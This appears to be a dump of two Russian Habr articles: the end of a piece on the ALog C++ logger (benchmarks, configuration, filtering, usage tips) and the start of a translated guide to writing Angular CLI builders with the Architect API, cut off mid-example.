Здесь ALog уступает Spdlog в *Logging time*. Valgrind по этому поводу "говорит", что одна из причин низкой производительности кроется в использовании функции std::vsnprintf(). При сборке тестов под С++17 появляется возможность минимизировать использование std::vsnprintf(). При этом Spdlog все еще впереди, но отставание уже минимально (~0.15 сек). В то же время ALog улучшает другие показатели: максимальный объем занимаемой памяти уменьшился до 44 Мб, а пиковое потребление ресурсов процессора сократилось до 33%.
Для Spdlog размер очереди сообщений уменьшен до 1 млн. записей, что позволило сократить объем занимаемой памяти с 1170 Мб до 392 Мб. Дальнейшее уменьшение размера очереди ведет к ухудшению *Logging time*. Еще один штрих: сборка Spdlog под С++17 даёт незначительное (примерно на 0.1 секунды) увеличение *Logging time*, не затрагивая остальные результаты.
**Промежуточный итог**
Что ж, тщеславие удовлетворено. Пусть ALog не первый в этом тестировании, но тем не менее выглядит вполне достойно, а по параметру *Logging time* в многопоточном режиме работы - безусловный лидер.
Но что же дальше?! Эффективность работы системы логирования безусловно важна, но есть и другие критерии, которые целесообразно принимать во внимание. Например: возможность конфигурирования, фильтрация, удобство записи лог-сообщений в рабочем коде. Уже в процессе подготовки тестов пришла мысль, что наверное не следует ограничиваться только сравнением логгеров, и было бы неплохо рассказать об особенностях использования ALog. Это я и собираюсь сделать в следующих разделах.
### Немного плагиата
Собственно, в чем плагиат: из статьи [Сравнение библиотек логирования](https://habr.com/ru/post/313686) я решил позаимствовать авторские названия некоторых разделов, чтобы обеспечить ассоциативность восприятия материала.
### Документация и зависимости
***Документация:*** отсутствует, к сожалению. Что бы сгладить этот недостаток, был создан небольшой проект [LoggerDemo](https://github.com/hkarel/LoggerDemo) с примерами использования логгера. Сейчас их шесть:
* Demo 01: Вывод в лог "Hello world";
* Demo 02: Вывод сообщений в файл;
* Demo 03: Вывод сообщений из разных потоков;
* Demo 04: Фильтрация лог-сообщений по имени модуля, с последующим сохранением в разные лог-файлы;
* Demo 05: Конфигурирование лог-системы при помощи конфиг-файлов4;
* Demo 06: Форматированный вывод через log\_format (тестовое использование)
Для сборки потребуется QtCreator 4.12 или выше. Сборочная система QBS.
*Примечание: сборка под ОС Windows не выполнялась, но проект тривиален, поэтому проблем возникнуть не должно.*
***Зависимости:*** ALog - не самостоятельное решение, он является составной частью библиотеки общего назначения [SharedTools](https://github.com/hkarel/SharedTools). Для такого подхода есть пара причин:
* ALog достаточно маленький - всего три программных модуля5:
1. logger - непосредственно сам логгер;
2. config - модуль конфигурирования;
3. format - модуль для форматированного вывода сообщений.
* ALog зависит от некоторых модулей общего назначения из [SharedTools](https://github.com/hkarel/SharedTools). Поэтому я посчитал нецелесообразным выносить логгер в отдельную библиотеку, и делать ее зависимой от SharedTools.
[**4**] Для сборки примера *Demo 5* требуется Qt-framework.
[**5**] Под программным модулем понимается пара cpp/h файлов, или один h-файл.
### Тип логгера, контроль потребления памяти и потокобезопасность
* Логгер асинхронный, порядок добавления сообщений можно считать атомарным (используется *спин-блокировка*), что не исключает возможности перемешивания сообщений. Однако, для диапазона точности, в котором работает логгер (микросекунды), явления перемешивания вряд ли могут быть обнаружены. За семь лет использования логгера я не сталкивался с подобными проявлениями.
* Контроль потребления памяти отсутствует.
### Обработка сбоев процесса
Автоматическая обработка сбоев процесса не предусмотрена. Считаю, что программист должен самостоятельно выполнять такого вида обработки, так как сложно предвидеть все инварианты, которые могут потребоваться разработчику. Тем не менее, существует механизм для немедленного "сброса" всех сообщений из буфера логгера в систему вывода. Функция "сброса" сообщений может выглядеть так:
```
void prog_abort()
{
log_error << "Program aborted";
alog::logger().flush();
alog::logger().waitingFlush();
alog::logger().stop();
abort();
}
```
### Стиль логирования и вывод (sink)
***Вывод (sink):*** В ALog механизм вывода называется *Saver* (дословно: *хранитель*, в вольной трактовке: *средство/механизм сохранения*). В дальнейшем будет использоваться именно этот термин.
По умолчанию поддерживаются вывод в файл, и в stdout. В качестве демо-примера, сделан вывод в syslog. Правда, на момент его написания, syslog не мог похвастаться высокой скоростью работы, конечно с той поры может что и поменялось.
***Стиль логирования:*** ALog поддерживает два стиля логирования: потоковый оператор `<<` и форматированный вывод. При этом, вывод через потоковый оператор является основным, а форматированный вывод был добавлен сравнительно недавно и, на текущий момент, находится в статусе *экспериментальный*.
Споры о том, какой способ вывода лучше не закончатся наверное никогда. На мой взгляд, у потокового оператора есть одно важное преимущество: *его можно переопределять*, что позволяет системе логирования работать с пользовательскими типами данных. А возможность выводить лог-сообщения сразу через несколько *saver-ов* добавляет системе логирования ещё больше гибкости.
Рассмотрим небольшой пример: предположим, нам требуется логировать действия пользователя при выполнении им некоторых задач. При этом выполняемые действия должны отображаться не только в общем лог-файле, но и фиксироваться в базе данных.
Используем структуру `TaskLog` для группировки необходимых параметров логирования.
```
struct TaskLog
{
int taskId;
int userId;
string status;
};
```
На следующем шаге реализуем потоковый оператор 6.
```
namespace alog {
Line& operator<< (Line& line, const TaskLog& tl)
{
if (line.toLogger())
line << "TaskId: " << tl.taskId
<< "; UserId: " << tl.userId
<< "; Status: " << tl.success;
return line;
}
} // namespace alog
```
Реализацию *saver-a* для записи сообщений в базу данных я оставлю за рамками этой статьи по причине существенного объема кода. Отмечу только, что *saver* нужно будет создать и зарегистрировать в системе логирования при старте программы. Далее в рабочем коде приложения вызываем логгер:
```
TaskLog tl {10, 20, "success"};
log_info << "Task complete. " << tl;
```
В лог-файл будет добавлена строка: `15.10.2020 19:39:23 INFO LWP18876 [example.cpp:35] Task complete. TaskId: 10; UserId: 20; Status: success` И одновременно с этим система логирования вставит в таблицу базы данных запись из трех полей: `TASK_ID, USER_ID, STATUS`. Конечно, реализация потокового оператора и *saver-a* для вывода информации в базу данных потребует определенных усилий, но это может быть оправдано удобством последующего использования.
Вот еще одна ситуация, которую хотелось бы рассмотреть: иногда лог-сообщение должно формироваться в зависимости от условия. "Классический" способ решения этой задачи - конкатенация строк с последующим выводом результата. В ALog конкатенация может быть заменена на последовательное формирование лог-сообщения при помощи явно объявленной переменной с типом `alog::Line`:
```
{ //Block for alog::Line
alog::Line logLine = log_verbose << "Threshold ";
if (threshold > 0.5)
logLine << "exceeded";
else
logLine << "is normal";
logLine << " (current value: " << threshold << ")";
}
```
Форматированный вывод реализован как надстройка над потоковыми операторами. Таким образом форматированный вывод будет работать со всеми типами данных для которых реализован оператор `<<`. Пример с выводом `TaskLog` будет выглядеть так:
```
TaskLog tl {10, 20, "success"};
log_info << log_format("Task complete. %?", tl);
```
Возможно комбинирование потоковых операторов и форматированного вывода:
```
log_info << "Task complete." << log_format(" %?", tl);
```
[**6**] В примере приведена базовая (упрощенная) реализация потокового оператора.
### Инициализация логгера
ALog поддерживает два вида инициализации: программную, и с использованием конфигурационных файлов. Инициализация является потокозащищенной, что позволяет реконфигурировать систему логирования в любой момент работы приложения.
Для stdout программная инициализация состоит из одной строки:
```
alog::logger().addSaverStdOut(alog::Level::Info);
```
Инициализация для вывода в файл будет чуть сложнее:
```
const char* saverName = "default";
const char* filePath = "/tmp/logger-demo.log";
alog::Level logLevel = alog::Level::Debug;
bool logContinue = true;
{ //Block for SaverPtr
SaverPtr saver {new SaverFile(saverName, filePath, logLevel, logContinue)};
logger().addSaver(saver);
}
```
Для небольших приложений программная инициализация достаточно эффективна. Но по мере роста приложения, по мере усложнения конфигурации логирования, такая инициализация становится громоздкой, и в конечном счете неудобной для использования. Поэтому для больших приложений предпочтительнее будет инициализация с использованием конфигурационных файлов. Работа с файлами конфигурации требует наличия yaml-парсера. ALog для этой цели использует [yaml-cpp](https://github.com/jbeder/yaml-cpp).
Пример секции инициализации логгера:
```
### YAML syntax ###
# Конфигурирование системы логирования
logger:
# Уровень логирования. Допускаются следующие значения: error, warning, info,
# verbose, debug, debug2. По умолчанию используется info
level: verbose
# Определяет будет ли пересоздаваться log-файл при перезапуске программы.
# (флаг: true/false). Если параметр равен 'false', то log-файл будет
# пересоздаваться при каждом перезапуске программы, в противном случае
# логирование будет выполняться в существующий файл
continue: true
# Наименование файла логирования
file: /var/opt/application/log/application.log
# Наименование файла логирования в Windows
file_win: ProgramData/application/log/application.log
# Определяет файл конфигурирования сейверов и фильтров для системы логирования
conf: /etc/application/application.logger.conf
# Определяет файл конфигурирования сейверов и фильтров для системы логирования в Windows
conf_win: ProgramData/application/config/application.logger.conf
filters:
# Наименование фильтра
- name: default
type: module_name
mode: exclude
modules: [
VideoCap,
VideoJitter,
]
```
В этой конфигурации будет создан *saver* по умолчанию7, с выводом в файл `/var/opt/application/log/application.log`. Параметры `logger.conf` и `logger.filters` отвечают за механизмы расширенной фильтрации, их назначение будет рассмотрено в разделе ***Настройка фильтрации***.
В примере [Demo 05](https://github.com/hkarel/LoggerDemo/blob/master/src/demo05/demo05.cpp) показано как создается *saver* по умолчанию с использованием файла конфигурации. А пример ниже демонстрирует, как можно переконфигурировать систему логирования в процессе работы программы:
```
// Время последней модификации конфиг-файла приложения
std::time_t configBaseModify = 0;
// Время последней модификации конфиг-файла для логера
std::time_t configLoggerModify = 0;
void init()
{
// Время модификации файлов на момент старта программы
configBaseModify = config::baseModifyTime();
configLoggerModify = config::loggerModifyTime();
}
// Таймер-функция
void configModifyTimer()
{
bool modify = false;
std::time_t configModify = config::baseModifyTime();
if (configBaseModify != configModify)
{
modify = true;
configBaseModify = configModify;
config::base().rereadFile();
log_verbose << "Config file was reread: " << config::base().filePath();
alog::configDefaultSaver();
}
configModify = config::loggerModifyTime();
if (configLoggerModify != configModify)
{
modify = true;
configLoggerModify = configModify;
alog::configExtensionSavers();
}
if (modify)
alog::printSaversInfo();
}
```
[**7**] Наименование *saver-a* по умолчанию всегда 'default'
### Точность времени
Все сообщения в ALog фиксируются с точностью до 1 микросекунды, что покрывает потребности большинства существующих приложений. Но выводится это время только при уровне логирования `Debug2` (режим трассировки). Такая точность временных меток необходима для режима подробной диагностики, для менее интенсивных режимов логирования вполне достаточно точности в 1 секунду. Данный подход несколько сокращает объем лог-файла. При разработке собственного *saver-a* разработчик может выводить микросекунды на любом уровне логирования.
### Доступ к логгеру
На программном уровне доступ к логгеру осуществляется с помощью глобальной функции `alog::logger()`, что позволяет уйти от множества проблем связанных с использованием глобальных статических переменных.
Предполагается, что в программе будет существовать только один глобальный экземпляр логгера. Возможно создать несколько экземпляров, но на мой взгляд, в этом нет особого смысла. Считаю, что логгер должен быть единым для всех узлов программы, он должен быть одинаково доступным, и единообразно вызываемым из любой части приложения.
### Настройка фильтрации
ALog, как и большинство современных логгеров, поддерживает фильтрацию по уровням логирования. Имеются следующие варианты:
```
enum Level {None = 0, Error = 1, Warning = 2, Info = 3, Verbose = 4, Debug = 5, Debug2 = 6};
```
`Debug2` - соответствует режиму трассировки, название имеет исторические причины.
На этом, сходство с другими логгерами заканчиваются. Первое существенное отличие состоит в том, что для ALog невозможно задать уровень логирования напрямую, так как уровень логирования - не характеристика логгера, а характеристика его *saver-ов*. Уровень логирования самого логгера всегда будет равен максимальному уровню логирования *saver-ов*, использующихся на данный момент. Однако, для логгера эта характеристика тоже достаточно важна, так как она позволяет еще на первичном этапе обработки сообщений отсекать те из них, которые гарантированно не будут выводиться в лог.
Чтобы перейти к следующим отличиям, нам придется более подробно рассмотреть как используются уровни логирования. Типовая задача - выявление ошибок или аномального поведения, проявляющегося при длительной работе программы. Для решения этой задачи систему логирования переводят в режим отладки или трассировки, и затем ждут проявления негативной ситуации. У такого подхода есть следующие недостатки:
1. При использовании глобального логгера все программные модули будут выдавать сообщения с заданным уровнем логирования, в результате чего получается много лишней, избыточной информации;
2. Использование нескольких экземпляров логгера в попытке уйти от проблемы из п.1 выглядит не очень удачной идеей. На мой взгляд, система логирования должна быть простой и единообразной в использовании из любой части программы. Программист не должен задумываться над тем, каким экземпляром логгера ему пользоваться;
3. Объем файлов логирования может быть очень большим (см. п.1). Иногда объемы лог-файлов исчисляются десятками гигабайт, то есть существует риск отказа операционной системы из-за отсутствия свободного места на диске;
4. Анализ больших лог-файлов достаточно трудоемкое занятие, часто требующее наличия вычислительных мощностей, что бы можно было за разумное время обрабатывать полученные лог-данные.
Возникает очевидная мысль: "Нужно сократить объем записываемой информации". Например, [P7](http://baical.net/p7.html) решает эту задачу посредством вывода лог-сообщений в бинарном формате. На самом деле неизвестно - является ли это эффективным решением проблемы, так как большинство утилит по анализу логов ориентированы на текстовый формат данных.
Тогда возникает вторая мысль: "Нужно сделать так, чтобы разные модули программы могли выдавать лог-сообщения с разным уровнем логирования". При диагностике программы, как правило, уже имеются предположения о том, какие её узлы могут приводить к сбою. Соответственно, только эти узлы должны выдавать максимально подробные логи, а остальные части программы могут работать со штатным уровнем логирования. Как выводить такую гетерогенную лог-информацию? Возможны два подхода:
1. Все модули, со штатными и трассировочными уровнями логирования пишут свои сообщения в один файл. Таким образом сохраняется последовательная хронология событий;
2. Существует один главный файл логирования, в который пишут все модули в режиме штатного логирования, и одновременно модули требующие диагностики пишут свои лог-сообщения в альтернативные файлы в режиме трассировки.
ALog умеет работать в обоих режимах, но мне больше нравится второй. Главный лог-файл получается не перегруженным, и в нем легко находить сообщения с ошибками. Далее, зная время инцидента, можно провести подробный анализ ситуации с использованием альтернативного лог-файла.
Для того чтобы разные узлы программы могли выдавать лог-информацию с разными уровнями логирования нужно каким-то образом их разграничивать. Использование имени программного модуля видится очевидным решением для задачи, но практика показывает, что это не всегда удобно. Поэтому была введена новая сущность - логический модуль.
*Под логическим модулем понимается один или несколько программных модулей объединенных общим функционалом или выполняемым действием.*
Ранее говорилось, что уровень логирования связан непосредственно с *saver-ом*, то есть весь процесс разделения сообщений происходит именно внутри механизма вывода. Управляет процессом разделения система фильтров, которая оставляет только те сообщения, которые удовлетворяют критериям фильтрации. Сейчас поддерживаются следующие критерии (типы) фильтрации:
| **Тип фильтрации** | **Описание** |
| --- | --- |
| module\_name | По именам логических модулей |
| log\_level | По уровню логирования (это вариант одного файла с разными уровнями логирования) |
| func\_name | По именам функций (механизм реализован, но фактически не востребован) |
| file\_name:line | По именам файлов (читай: по именам программных модулей) и номерам строк |
| thread\_id | По идентификаторам потоков |
| content | По контенту сообщения |
Более подробно типы фильтрации описаны [тут](https://github.com/hkarel/SharedTools/blob/master/logger/config.h). Файл [demo05.logger.conf](https://github.com/hkarel/LoggerDemo/blob/master/src/demo05/demo05.logger.conf) содержит пример конфигурации логгера для [Demo 05](https://github.com/hkarel/LoggerDemo/blob/master/src/demo05/)
Осталось рассмотреть вопрос с наименованием логических модулей. Можно использовать решение "в лоб", но выглядит оно не очень…
```
alog::logger().debug(alog_line_location, "Module1") << "Message";
```
Как часто бывает в таких ситуациях - на помощь приходят макросы.
```
// Определяем макросы в начале модуля
#define log_error_m alog::logger().error (alog_line_location, "Module1")
#define log_warn_m alog::logger().warn (alog_line_location, "Module1")
#define log_info_m alog::logger().info (alog_line_location, "Module1")
#define log_verbose_m alog::logger().verbose (alog_line_location, "Module1")
#define log_debug_m alog::logger().debug (alog_line_location, "Module1")
#define log_debug2_m alog::logger().debug2 (alog_line_location, "Module1")
...
void moduleFunc1()
{
for (int i = 0; i < 10; ++i)
{
log_debug_m << "Func1. Message " << i;
usleep(10);
}
}
...
// Удаляем макросы в конце модуля
#undef log_error_m
#undef log_warn_m
#undef log_info_m
#undef log_verbose_m
#undef log_debug_m
#undef log_debug2_m
```
В cpp-файлах `#undef` можно опустить, но не стоит так делать в заголовочных файлах. В этом случае результат работы лог-фильтров может оказаться неожиданным.
### Поддержка юникода
Фактически, широкой поддержки юникода нет. В Linux в подавляющем большинстве ситуаций используется UTF-8. Для QString есть перегруженный потоковый оператор, в нем осуществляется преобразование из UTF-16 в UTF-8. На этом все.
### Ротация файлов
ALog не поддерживает какие либо механизмы по ротации лог-файлов, так как с этой задачей прекрасно справляется *logrotate*.
### Некоторые приемы использования
Здесь описаны некоторые приемы использования ALog, которые не попали в другие разделы. Делаю это на тот случай, если вдруг кому-то в голову придет мысль о применении ALog в своей программе.
***Сложные трассировочные сообщения лучше использовать внутри условия:***
```
if (alog::logger().level() == alog::Level::Debug2)
{
log_debug2_m << "Message was sent to socket"
<< ". Id: " << message->id()
<< ". Command: " << CommandNameLog(message->command())
<< ". Type: " << message->type()
<< ". ExecStatus: " << message->execStatus();
}
```
Обычно трассировочные сообщения размещаются в высоконагруженных участках кода. По этой причине их целесообразно полностью исключать из обработки, когда программа работает не в режиме отладки. Это позволит не тратить ресурсы на формирование сложного сообщения, которое в конечном итоге все равно будет отброшено. В тоже время для тривиальных сообщений вполне можно обойтись без дополнительных условий:
```
log_debug2_m << "Message was sent to socket";
```
***Наименование программного модуля получено из другой программы***
```
std::string s = ".../python/example1.py";
const char* file = alog::__file__cache(s);
alog::logger().info(file, 0, 10, "Python") << "Message from python-script";
```
Не так давно в ALog была добавлена оптимизация позволяющая извлекать наименование программного модуля из макроса `__FILE__` в процессе компиляции, и это реально ускорило работу логгера. Но у такой оптимизации есть обратная сторона: адреса строк содержащих наименования модулей не должны меняться на протяжении жизни программы. В принципе, с макросом `__FILE__` все так и есть. Но иногда возникает желание (или необходимость) сделать сквозное логирование для внутренних и внешних (работающих в другом процессе) компонентов приложения. В данном случае наименования модулей получаемые из внешней программы имеют динамические адреса строк, а следовательно их нельзя передавать в ALog. Для решения этой проблему была создана функция `alog::__file__cache()`, она преобразует динамические строки в псевдостатические, что вполне устраивает логгер.
***Подмена механизма логирования в сторонних библиотеках*** Многие сторонние библиотеки имеют свой механизм логирования. Иногда это полноценная система логирования, но чаще - это просто функция. Для обеспечения единообразного логирования собственного проекта можно попробовать сделать подмену библиотечной функции логирования8. При этом стороннюю библиотеку, скорее всего, придется собрать самостоятельно, или как минимум, нужно быть готовым к такому повороту событий.
Пример подмены функции логирования `logmvnc()` для драйвера *Intel Movidius Neural Compute Stick*:
```
void logmvnc(enum mvLog_t level, const char* file, int line, const char* func,
const char* format, ...) asm ("logmvnc");
void logmvnc(enum mvLog_t level, const char* file, int line, const char* func,
const char* format, ...)
{
va_list args;
va_start(args, format);
int len;
char buff[1024] = {0};
auto removeLastN = [&len, &buff]()
{
if ((len < int(sizeof(buff))) && (buff[len - 1] == '\n'))
buff[len - 1] = '\0';
};
switch (level)
{
case MVLOG_DEBUG:
if (alog::logger().level() == alog::Level::Debug2)
{
len = vsnprintf(buff, sizeof(buff) - 1, format, args);
removeLastN();
alog::logger().debug2(file, func, line, "Movidius") << buff;
}
break;
case MVLOG_WARN:
{
len = vsnprintf(buff, sizeof(buff) - 1, format, args);
removeLastN();
alog::logger().warn(file, func, line, "Movidius") << buff;
}
break;
case MVLOG_ERROR:
case MVLOG_FATAL:
case MVLOG_LAST:
{
len = vsnprintf(buff, sizeof(buff) - 1, format, args);
removeLastN();
alog::logger().error(file, func, line, "Movidius") << buff;
}
break;
default:
{
// LEVEL_INFO
len = vsnprintf(buff, sizeof(buff) - 1, format, args);
removeLastN();
alog::logger().info(file, func, line, "Movidius") << buff;
}
}
va_end(args);
}
```
[**8**] Это возможно не для всех библиотек.
### Вместо заключения
Когда я только начинал работу над этим материалом, то полагал, что ALog уже достаточно устоявшееся, отработанное решение. Но мои представления были неверными. Оказалось, что есть много аспектов, требующих переоценки или доработки. Какие-то правки вносились в процессе тестирования, а какие-то уже в процессе написания этой статьи. Благодаря всей этой затее были созданы два новых проекта: [LoggerTest](https://github.com/hkarel/LoggerTest) и [LoggerDemo](https://github.com/hkarel/LoggerDemo). Оба проекта открыты для развития, поэтому если у кого-то возникнут вопросы по работе логгера - постараюсь, по мере возможности, на них ответить. Может быть ответы воплотятся в новых примерах. Касательно [LoggerTest](https://github.com/hkarel/LoggerTest) - думаю, я далеко не единственный, кто пишет свой логгер, так что если есть желание помериться цифирьками - приходите.
### UPD
По совету @ksergey01 добавлены тесты для системы логирования [Quill](https://github.com/odygrd/quill). Версия логгера 1.6.1, gitrev: 96a713f.
**Тест 4 потока (режим сборки: release, ключ компилятора -O2)**
| | **ALog** | **Quill** |
| --- | --- | --- |
| Logging time (sec) | 1.351790 | 0.048965 |
| Flush time (sec) | 2.845629 | 5.80767 |
| Logging per/sec | 3703800 | 103627238 |
| Flush per/sec | 1758392 | 861922 |
| Memory usage (max, MB) | 1370 | 1384 |
| Memory usage (avg, MB) | 1236 | 1110 |
| CPU usage (max, %) | 106 | 59 |
| CPU usage (avg, %) | 39 | 12 |
Значение *Logging per/sec* равное 103 млн. записей в секунду не является ошибкой, логгер действительно обрабатывает лог-сообщения в рабочих потоках с такой скоростью. Точнее сказать, он их почти не обрабатывает в рабочих потоках, а старается как можно быстрее передать в фоновый поток логгера, где происходит основная работа и вывод в файл. Отчасти поэтому значение параметра *Flush per/sec* такое невысокое.
Некоторые особенности Quill, на которые хотелось бы обратить внимание:
1. Формат-строка является параметром шаблона, поэтому она не может быть изменена в процессе работы программы. Как следствие, динамические сообщения или локализация недоступны для логгера. Автор Quill предложил такой выход из этой ситуации: `LOG_TRACE(logger, “{} {}”, format_string.c_str(), i);`
2. Механизм вывода лог-сообщений должен быть инициализирован до начала работы логгера. В процессе работы приложения смена экземпляра вывода не допускается.
3. Quill поддерживает работу с пользовательскими типами. Механизм описан [тут](https://github.com/odygrd/quill/wiki/8.-User-Defined-Types), тесты приведены ниже.
**Тест вывода пользовательского типа (4 потока, release, -O2)**
| | **ALog** | **Quill (1)** | **Quill (2)** |
| --- | --- | --- | --- |
| Logging time (sec) | 2.326450 | 0.24764 | 2.22776 |
| Flush time (sec) | 4.037588 | 15.0679 | 7.8387 |
| Logging per/sec | 2149603 | 20731451 | 2244706 |
| Flush per/sec | 1238723 | 331919 | 638584 |
| Memory usage (max, MB) | 1969 | 2388 | 1968 |
| Memory usage (avg, MB) | 1398 | 2251 | 1808 |
| CPU usage (max, %) | 106 | 73 | 71 |
| CPU usage (avg, %) | 40 | 13 | 23 |
В тесте **(1)** пользовательский тип преобразуется в лог-строку во вспомогательном потоке логгера; в тесте **(2)** пользовательский тип преобразуется в лог-строку в рабочем потоке. | https://habr.com/ru/post/532698/ | null | ru | null |
# Представляем «CLI Builder»-ы
В этой статье мы рассмотрим новый API Angular CLI, который позволит вам расширять существующие возможности CLI и добавлять новые. Мы обсудим, как работать с этим API, и какие существуют точки его расширения, позволяющие добавлять новый функционал в CLI.
История
-------
Около года назад мы представили файл рабочей области (*angular.json*) в Angular CLI и переосмыслили многие базовые принципы реализации его команд. Мы пришли к тому, что разместили команды в «коробках»:
1. **Schematic commands – «Схематические команды»**. К настоящему времени, вероятно, вы уже слышали о Schematics – библиотеке, используемой CLI для генерации и изменения вашего кода. Она появилась в 5-й версии и, в настоящее время, используется в большинстве команд, которые касаются вашего кода, таких, как *new*, *generate*, *add* и *update*.
2. **Miscellaneous commands – «Прочие команды»**. Это команды, которые не относятся непосредственно к вашему проекту: *help*, *version*, *config*, *doc*. Недавно появилась ещё *analytics*, а также наши пасхалки (Тссс! Никому ни слова!).
3. **Task commands – «Команды задач»**. Эта категория, по большому счету, «запускает процессы, выполняемые над кодом других людей». – Как пример, *build* – сборка проекта, *lint* – отладка и *test* – тестирование.
Мы начали проектировать *angular.json* довольно давно. Изначально, он был задуман как замена Webpack-конфигурации. Кроме того, он должен был позволить разработчикам самостоятельно выбирать реализацию сборки проекта. В итоге, у нас получилась базовая система запуска задач, которая оставалась простой и удобной для наших экспериментов. Мы назвали этот API «Architect».
Несмотря на то, что Architect официально не поддерживался, он пользовался популярностью среди разработчиков, которые хотели настраивать сборку проектов, а также, среди сторонних библиотек, которым было необходимо контролировать их workflow. Nx использовал его для выполнения команд Bazel, Ionic использовал его для запуска unit-тестов на Jest, а пользователи могли расширять свои конфигурации Webpack-ов с помощью таких инструментов, как [ngx-build-plus](https://www.npmjs.com/package/ngx-build-plus). И это было только начало.
**Официально поддерживаемая, стабилизированная и улучшенная версия этого API используется в Angular CLI версии 8.**
Концепция
---------
Architect API предлагает инструменты для планирования и координации задач, которые используются в Angular CLI для реализации его команд. Он использует функции, называемые
«builder»-ами – «сборщиками», которые могут выступать в роли задач или же планировщиков других сборщиков. Кроме того, он использует angular.json в качестве набора инструкций для самих сборщиков.
Это очень общая система, созданная для того, чтобы быть гибкой и расширяемой. Она содержит API для построения отчетов, ведения логов и тестирования. При необходимости, систему можно расширять для новых задач.
Сборщики
--------
Сборщики – это функции, реализующие логику и поведение для задачи, которая может заменить команду CLI. – Например, запустить линтер.
Функция сборщика принимает два аргумента: входное значение (или опции) и контекст, который обеспечивает взаимосвязь между CLI и самим сборщиком. Разделение ответственности здесь такое же, как в Schematics – опции задает пользователь CLI, за контекст отвечает API, а вы (разработчик) устанавливаете необходимое поведение. Поведение может быть реализовано синхронно, асинхронно, либо же просто выводить определенное количество значений. Вывод обязательно должен иметь тип *BuilderOutput*, содержащий логическое поле *success* и необязательное поле *error*, содержащее сообщение об ошибке.
Файл рабочей области и задачи
-----------------------------
Architect API полагается на *angular.json* – файл рабочей области, для хранения задач и их настроек.
*angular.json* делит рабочую область на проекты, а их, в свою очередь, на задачи. Например, ваше приложение, созданное с помощью команды *ng new*, это один из таких проектов. Одной из задач в этом проекте будет задача *build*, которую можно запустить с помощью команды *ng build*. По-умолчанию, эта задача имеет три ключа:
1. **builder** – имя сборщика, который необходимо использовать для выполнения задачи, в формате *НАЗВАНИЕ\_ПАКЕТА: НАЗВАНИЕ\_СБОРЩИКА*.
2. **options** – настройки, используемые при запуске задачи по-умолчанию.
3. **configurations** – настройки, которые применятся при запуске задачи с указанной конфигурацией.
Настройки применяются следующим образом: когда запускается задача, настройки берутся из блока options, затем, если была указана конфигурация, её настройки записываются поверх существующих. После этого, если в *scheduleTarget()* были переданы дополнительные настройки – блок *overrides*, они запишутся последними. При использовании Angular CLI, в *overrides* передаются аргументы командной строки. После того, как все настройки переданы сборщику, он проверяет их по своей схеме, и только, если настройки ей соответствуют, будет создан контекст, а сборщик начнет работу.
Дополнительная информация о рабочей области [здесь](https://angular.io/guide/workspace-config).
Создание собственного сборщика
------------------------------
В качестве примера, давайте создадим сборщик, который будет запускать команду в командной строке. Для создания сборщика, воспользуйтесь фабрикой *createBuilder* и верните объект *BuilderOutput*:
```
import { BuilderOutput, createBuilder } from '@angular-devkit/architect';
export default createBuilder((options, context) => {
return new Promise(resolve => {
resolve({ success: true });
});
});
```
Теперь, давайте добавим немного логики в наш сборщик: мы хотим, контролировать сборщик через настройки, создавать новые процессы, ждать, пока процесс завершится и, если процесс завершился успешно (то есть, вернул код 0), сигнализировать об этом в Architect:
```
import { BuilderOutput, createBuilder } from '@angular-devkit/architect';
import * as childProcess from 'child_process';
export default createBuilder((options, context) => {
const child = childProcess.spawn(options.command, options.args);
return new Promise(resolve => {
child.on('close', code => {
resolve({ success: code === 0 });
});
});
});
```
Обработка вывода
----------------
Сейчас, метод *spawn* передаёт все данные в стандартный вывод процесса. Мы же можем хотеть передавать их в *logger* – регистратор. В этом случае, во-первых, будет облегчена отладка при тестировании, а во-вторых, сам Architect может запускать наш сборщик в отдельном процессе или же отключать стандартный вывод процессов (например, в приложении Electron).
Для этого, мы можем использовать *Logger*, доступный в объекте *context*, который позволит нам перенаправлять вывод процесса:
```
import { BuilderOutput, createBuilder } from '@angular-devkit/architect';
import * as childProcess from 'child_process';
export default createBuilder((options, context) => {
const child = childProcess.spawn(options.command, options.args, { stdio: 'pipe' });
child.stdout.on('data', (data) => {
context.logger.info(data.toString());
});
child.stderr.on('data', (data) => {
context.logger.error(data.toString());
});
return new Promise(resolve => {
child.on('close', code => {
resolve({ success: code === 0 });
});
});
});
```
Отчеты о выполнении и статусе
-----------------------------
Заключительная часть API, относящаяся к реализации вашего собственного сборщика – отчеты о выполнении и текущем статусе.
В нашем случае, команда либо завершается, либо выполняется, поэтому нет смысла добавлять отчет о выполнении. Однако, мы можем сообщить наш статус родительскому сборщику, чтобы он понимал, что происходит.
```
import { BuilderOutput, createBuilder } from '@angular-devkit/architect';
import * as childProcess from 'child_process';
export default createBuilder((options, context) => {
context.reportStatus(`Executing "${options.command}"...`);
const child = childProcess.spawn(options.command, options.args, { stdio: 'pipe' });
child.stdout.on('data', (data) => {
context.logger.info(data.toString());
});
child.stderr.on('data', (data) => {
context.logger.error(data.toString());
});
return new Promise(resolve => {
context.reportStatus(`Done.`);
child.on('close', code => {
resolve({ success: code === 0 });
});
});
});
```
Чтобы передавать отчет о выполнении, используйте метод *reportProgress* с текущими и (необязательно) итоговыми значениями, в качестве аргументов. *total* может быть любым числом. Например, если вы знаете, сколько файлов вам нужно обработать, в *total* можно передать их количество, тогда в *current* можно передать число уже обработанных файлов. Именно так [сборщик tslint](https://github.com/angular/angular-cli/blob/76492141d21649e1924a7a84a2af25ceca294be1/packages/angular_devkit/build_angular/src/tslint/index.ts) сообщает о своем прогрессе.
Проверка входных значений
-------------------------
Объект *options*, передаваемый в сборщик, проверяется с помощью JSON Schema. Это похоже на Schematics, если вы знаете, что это такое.
В нашем примере сборщика, мы ожидаем, что наши параметры будут объектом, который получает два ключа: *command* – команду (строка) и *args* – аргументы (массив строк). Наша схема проверки будет выглядеть так:
```
{
"$schema": "http://json-schema.org/schema",
"type": "object",
"properties": {
"command": {
"type": "string"
},
"args": {
"type": "array",
"items": {
"type": "string"
}
}
}
```
Схемы – действительно мощные инструменты, которые могут проводить большое количество проверок. Для получения дополнительной информации о схемах JSON, вы можете обратиться к [официальному сайту JSON Schema](http://json-schema.org/).
Создание пакета сборщика
------------------------
Существует один ключевой файл, который необходимо создать для нашего собственного сборщика, чтобы сделать его совместимым с Angular CLI – *builders.json*, который отвечает за взаимосвязь нашей реализации сборщика, его имени и схемы проверки. Сам файл выглядит вот так:
```
{
"builders": {
"command": {
"implementation": "./command",
"schema": "./command/schema.json",
"description": "Runs any command line in the operating system."
}
}
}
```
Затем, в файл *package.json* мы добавляем ключ *builders*, указывающий на файл *builders.json*:
```
{
